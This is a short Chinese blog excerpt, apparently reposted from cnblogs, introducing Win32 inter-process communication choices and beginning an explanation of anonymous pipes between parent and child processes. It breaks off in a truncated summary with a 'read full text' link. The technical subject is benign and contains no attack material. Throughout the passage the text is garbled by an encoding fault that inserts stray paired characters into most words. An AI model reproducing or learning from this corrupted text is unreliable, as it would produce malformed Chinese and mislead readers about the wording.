Win32 API為應(yīng)用程序?qū)崿F(xiàn)進(jìn)程間通信提供了如此多種選擇方案,那么開發(fā)者如何進(jìn)行選擇呢?通常在決定使用哪種IPC方法之前應(yīng)考慮下一些問題,如應(yīng)用程序是在網(wǎng)絡(luò)環(huán)境下還是在單機(jī)環(huán)境下工作等。
本文轉(zhuǎn)自:http://www.cnblogs.com/erwin/archive/2007/04/16/715084.html
摘要: 匿名管道 管道(Pipe)是一種具有兩個(gè)端點(diǎn)的通信通道:有一端句柄的進(jìn)程可以和有另一端句柄的進(jìn)程通信。管道可以是單向-一端是只讀的,另一端點(diǎn)是只寫的;也可以是雙向的一管道的兩端點(diǎn)既可讀也可寫。 匿名管道(Anonymous Pipe)是在父進(jìn)程和子進(jìn)程之間,或同一父進(jìn)程的兩個(gè)子進(jìn)程之間傳輸數(shù)據(jù)的無名字的單向管道。通常由父進(jìn)程創(chuàng)建管道,然后由要通信的子進(jìn)程繼承通道的讀端點(diǎn)句柄或?qū)懚它c(diǎn)句...
閱讀全文